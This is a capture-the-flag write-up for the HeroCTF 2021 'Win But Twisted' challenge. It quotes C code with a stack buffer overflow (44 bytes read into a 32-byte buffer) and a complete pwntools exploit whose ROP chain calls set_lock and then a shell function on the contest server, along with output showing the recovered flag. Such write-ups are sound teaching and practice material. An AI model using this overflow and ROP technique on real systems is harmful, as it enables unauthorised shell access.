Win But Twisted
In WinButTwisted.c, if UNLOCKED
is set to 1, function shell invokes system to launch a shell. But shell is not invoked.
void set_lock()
{
printf("Setting lock !");
UNLOCKED = 1;
}
void shell()
{
printf("In shell function ! ");
if (UNLOCKED == 1)
{
printf("Getting shell ! ");
setreuid(geteuid(), geteuid());
system("/bin/sh");
}
}
In main, it allows to input 44 bytes, but the buffer can takes up to 32 bytes, so here is a vulnerability. We overflow the buffer and make it jump to set_lock to set UNLOCKED, return to function shell to get shell.
int main()
{
int (*look)() = look_like;
int (*hello)() = hello_hero;
char buffer[32];
printf("What would a hero say ?\n>>> ");
fgets(buffer, 44, stdin);
hello();
look();
}
Use De Bruijn cyclic pattern it’s easy to find out the padding is 32 bytes, here is the exploit.
host = "pwn.heroctf.fr"
port = 9003
target = "WinButTwisted"
def exploit():
pr = pwn.connect(host, port)
elf = pwn.ELF(target)
rop = pwn.ROP(elf)
payload = b"A" * 32
rop.set_lock()
rop.shell()
payload += rop.chain()
print('len:', len(payload), payload)
pr.sendlineafter("What would a hero say ?\n>>> ", payload)
print(pr.readall(2))
exploit()
$ py3 exploit.py
[+] Opening connection to pwn.heroctf.fr on port 9003: Done
[*] '/home/zex/lab_ex/hacking-lab/heroctf-2021/win-but-twisted/WinButTwisted'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Loaded 72 cached gadgets for 'WinButTwisted'
len: 40 b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe\x99\x04\x08\x99\x99\x04\x08'
[+] Receiving all data: Done (62B)
[*] Closed connection to pwn.heroctf.fr port 9003
b'Setting lock !In shell function ! Hero{Tw1sT3D_w1N_FuNcTi0N} '